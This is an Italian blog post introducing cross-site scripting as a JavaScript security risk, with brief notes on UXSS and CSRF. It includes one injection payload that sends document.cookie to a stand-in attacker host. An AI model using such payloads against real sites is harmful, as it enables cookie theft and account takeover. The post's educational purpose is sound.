Articles

Sicurezza del linguaggio Javascript – metodologie di attacco

In sicurezza on aprile 14, 2010 by poyblog Messo il tag: , ,

Javascript, sicuramente meglio descritto in http://it.wikipedia.org/wiki/JavaScript è un linguaggio ormai molto popolare per la realizzazione di applicazioni web.

Questo linguaggio ha delle caratteristiche ben precise:

  • è basato sugli oggetti, nel senso che utilizza gli oggetti per definire le parti della pagina web che sta manipolando
  • è un linguaggio “loosely typed” poco tipizzato
  • viene eseguito dai browser

Questa ultima opzione è forse quella più importante dal punto di vista della sicurezza. Il codice viene eseguito lato client, e quindi è visibile direttamente all’utente che naviga l’applicazione. Un utente malintenzionato potrebbe quindi tentare di modificare tale codice per sfruttare delle debolezze del nostro sistema.

Uno dei metodi più utilizzati per reperire informazioni o violare sistemi è il cosiddetto Cross Site Scripting XSS. Questo metodo permette ad un hacker di inserire codice dinamico, come Javascript, ma anche VBScript, ActiveX, Flash all’interno di una pagina vulnerabile al fine di reperire dati sensibili, rubare cookie o altro.

Come si può notare dal sito della OWASP (Open Web Application Security Project) http://www.owasp.org/index.php da dove ho tratto il grafico seguente, la tecnica XSS è una delle più utilizzate.

Grafico tipologie di attacco

OWASP - tipolgie di attacco

Cerchiamo di capire ora come funziona. Si parte sempre da un errore dell’applicazione in fase di validazione dell’input di un utente, per esempio una form. Supponiamo che un campo non abbia controlli e quindi un utente malintenzionato possa inserire liberamente del codice. Tale codice verrà eseguito da un secondo utente ignaro di tutto ciò, dato che cercherà semplicemente di compilare la form della nostra applicazione.

Supponiamo di avere una form con questa voce:

<input type=’text’ name=’pippo’ value=’..’>

e che venga modificata in questo modo, inserendo del codice Javascript nel campo value:

‘>window.open(‘http://www.sitohacker.com/collect.php?cookie=’+document.cookie)</script>

Il nostro browser interpreterà così la form:

<input type=’text’ name=’pippo’ value=’..’>window.open(‘http://www.sitohacker.com/collect.php?cookie=’+document.cookie)</script>’>

In questo modo il nostro cookie sarà inviato al sito del malintenzionato, che riuscirà a recuperare il nostro cookie.

Quello appena descritto è un tipico attacco XSS reflected, così nominato perchè il codice maligno sta su un altro server, al contrario dell’attacco XSS stored, ove il codice maligno rimane invece collocato all’interno del server primario.

Esistono altre varianti di XSS, come:

  • UXSS (Universal Cross Site Scripting) → in questo caso XSS viene utilizzato sfruttando bug presenti nei browser, per esempio nel caso in cui accettino url scritte in un determinato modo, oppure sfruttano vulnerabilità di siti web non sicuri.
  • CSRF (Cross Site Request Forgery) → con questo metodo di hacking viene eseguito in modo equipollente codice “buono” e codice “cattivo” in modo tale che l’utente non si accorga del dolo. Un esempio classico è all’interno dell’home banking, ove viene eseguita l’operazione richiesta dall’utente ma anche una che lui stesso non ha mai eseguito
Annunci

4 Risposte to “Sicurezza del linguaggio Javascript – metodologie di attacco”

  1. Il grafico si vede un po’ male

  2. […] è possibile farlo, esponendo ‘utente finale a attacchi di tipo XSS o CSRF (vedi articolo https://poyblog.wordpress.com/2010/04/14/sicurezza-del-linguaggio-javascript-metodologie-di-attacco/ per maggiori […]

  3. […] Dopo l’articolo introduttivo, potete leggere subito un primo articolo dedicato alla varie metodologie di attacco via JavaScript, e un altro dedicato invece alle modalità principali di difesa da questi attacchi (sia da parte […]

  4. I am genuinely grateful to the owner of this site who has shared this
    impressive article at at this time.

Rispondi

Inserisci i tuoi dati qui sotto o clicca su un'icona per effettuare l'accesso:

Logo WordPress.com

Stai commentando usando il tuo account WordPress.com. Chiudi sessione /  Modifica )

Google+ photo

Stai commentando usando il tuo account Google+. Chiudi sessione /  Modifica )

Foto Twitter

Stai commentando usando il tuo account Twitter. Chiudi sessione /  Modifica )

Foto di Facebook

Stai commentando usando il tuo account Facebook. Chiudi sessione /  Modifica )

Connessione a %s...

%d blogger hanno fatto clic su Mi Piace per questo: